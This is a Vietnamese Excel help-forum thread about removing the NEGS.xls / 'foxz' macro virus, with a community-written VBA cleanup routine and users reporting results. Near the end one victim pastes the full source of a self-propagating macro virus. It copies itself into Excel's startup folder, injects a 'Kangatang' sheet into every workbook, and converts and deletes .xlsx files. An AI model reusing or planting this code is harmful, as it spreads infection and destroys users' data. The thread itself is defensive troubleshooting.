Virus NEGS.xls và macro foxz

Liên hệ QC
T

trungce

Thành viên mới
Tham gia
3/3/14
Bài viết
2
Được thích
0
Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!
 

File đính kèm

  • Zalo_ScreenShot_13_6_2019_631793.png
    Zalo_ScreenShot_13_6_2019_631793.png
    107.7 KB · Đọc: 123
  • Zalo_ScreenShot_13_6_2019_646401.png
    Zalo_ScreenShot_13_6_2019_646401.png
    23.5 KB · Đọc: 128
Sắp xếp theo thời gian sắp xếp theo bầu chọn
Bạn thử xem bài này:
www.giaiphapexcel.com

Có file lạ ăn bám theo Excel

Tôi tải 1 file trên GPE, bây giờ mỗi lần mở 1 file Excel nào bất kỳ, khi vào VBE cũng thấy "1 thằng lạ mặt - NEGS.XLS", đã diệt Virus - Xóa được Module của nó - mà nó cứ còn hiện diện. Phải làm sao bây giờ? Tìm khắp ổ đĩa cũng không thấy nó. Nhờ các bạn chỉ cách xóa nó cho "phẻ trong mình" một chút.
www.giaiphapexcel.com www.giaiphapexcel.com
 
Upvote 0
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã: 
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
 
Upvote 0
Hình như cái này đã bàn rồi cách đây 2 năm.
Chỉ là cái anh chàng Tờ Quờ Nờ ấy giải đáp bằng cái link tiếng Tây, đọc muốn toé con mắt.
 
Upvote 0
Virus negs.xls này có thể được diệt triệt để bằng KIS bản mới nhất, không cần vào xóa các file gốc trong START.

Đoạn code phía trên trước đây mình đã thử nhưng ko thành công.

Cuối cùng mình gỡ Office 2010 và cài Office 2016 thì đã removed được con foxz này. Cảm ơn anh em trong diễn đàn.
 
Upvote 0
trungce đã viết:
Virus negs.xls này có thể được diệt triệt để bằng KIS bản mới nhất, không cần vào xóa các file gốc trong START.

Đoạn code phía trên trước đây mình đã thử nhưng ko thành công.

Cuối cùng mình gỡ Office 2010 và cài Office 2016 thì đã removed được con foxz này. Cảm ơn anh em trong diễn đàn.
Nhấp chuột vào đây để mở rộng...
Với bài #3 của huuthang_bd, bạn không cần phải cài KIS và cũng không cần phải cài lại Office nha bạn.
 
Upvote 0
Upvote 0

File đính kèm

  • chup 1.png
    chup 1.png
    151.6 KB · Đọc: 109
Upvote 0
Upvote 0
Hoàng Trọng Nghĩa đã viết:
Bạn tạo một Module mới, rồi dán vào thủ tục trên, sau đó cho nó chạy. Chứ không phải bạn dán vô ThisWorkbook.
Nhấp chuột vào đây để mở rộng...
Em làm như anh hướng dẫn, 2 con virut đó vẫn trong code, giờ e cứ lập file mới đều bị, e phải copy hết ra cũng vẫn dính theo. Giúp em với.
 

File đính kèm

  • chup anh.jpg
    chup anh.jpg
    246 KB · Đọc: 76
Upvote 0
Hoàng Trọng Nghĩa đã viết:
Với bài #3 của huuthang_bd, bạn không cần phải cài KIS và cũng không cần phải cài lại Office nha bạn.
Nhấp chuột vào đây để mở rộng...
Tình hình sau 1 thời gian e diệt thủ công con virut trên, nó lan tỏa rộng quá anh ơi, cứ làm 1 file mới excel lại bị virut vào file anh ạ. Giúp em với. Giờ nó nhân rộng khắp máy tính em làm rồi ạ. E nhiều dữ liệu em sợ bị mất lắm.
 

File đính kèm

  • foxz va Negs xls.png
    foxz va Negs xls.png
    157.4 KB · Đọc: 36
  • virut foxz.png
    virut foxz.png
    161.4 KB · Đọc: 27
Upvote 0
Kieutri đã viết:
Tình hình sau 1 thời gian e diệt thủ công con virut trên, nó lan tỏa rộng quá anh ơi, cứ làm 1 file mới excel lại bị virut vào file anh ạ. Giúp em với. Giờ nó nhân rộng khắp máy tính em làm rồi ạ. E nhiều dữ liệu em sợ bị mất lắm.
Nhấp chuột vào đây để mở rộng...
Máy tôi cũng bị "lây bệnh" file bạn rồi.
Cố gắng tự bảo vệ mình.
 
Upvote 0
Con này code = VBA, code rành rành ra đó, chịu khó bỏ 1 chút thời gian đọc code của nó thì sẽ hiểu nó làm gì mà, rồi sẽ biết cách remove nó.
Cần gì tool, AV hay cài lại Office chi trời.
 
Upvote 0
huuthang_bd đã viết:
Chắc phải tạo 1 addin cho code chạy khi mở file thì mới diệt hết được.
Nhấp chuột vào đây để mở rộng...
Tạm thời em tạo một File có đoạn co de ở bài #3 và copy File ấy cho vào thư mục XLSTART của Excel
C:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART.
Anh Thắng cho vào Addin để diệt với
Virus này lây lan cấp số cộng lên không ngại lắm
 
Upvote 0
huuthang_bd đã viết:
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã: 
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Nhấp chuột vào đây để mở rộng...
Đang đau đầu vì cái con virut này thì đọc được bài của bạn. Mình đã làm và thành công. Cám ơn bạn @huuthang_bd
 
Upvote 0
Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c
 
Upvote 0
Bạn phải đăng nhập hoặc đăng ký để trả lời bài viết tại đây.
Web KT

Bài viết mới nhất

P
FILE EXCEL bị chậm
Trả lời
2
Đọc
29
phantuancauvan
P
C
  • Question
VBA copy 2 vùng dữ liệu từ 1 workbook này sang 2 vùng của workbook khác!
    • Phẫn nộ
Trả lời
2
Đọc
25
cuongbv2103
C
phanngoctrai1981
  • Question
Tính trung bình theo các nhóm bằng VBA
Trả lời
4
Đọc
87
SA_DQ
SA_DQ
S
Nhờ hỗ trợ code tìm kiếm dữ liệu bằng hộp tìm kiếm
Trả lời
11
Đọc
217
S.Ha
S
xkun2001
  • Question
Nhờ sửa code get hyperlink
Trả lời
5
Đọc
139
xkun2001
xkun2001
Xem thêm…

Facebook

Giaiphapexcel.com

Group

DIỄN ĐÀN GIẢI PHÁP EXCEL Group 1
DIỄN ĐÀN GIẢI PHÁP EXCEL Group 2

Thành viên có số lượng bài viết cao nhất tháng

Thành viên có điểm tương tác cao nhất tháng

Back
Top Bottom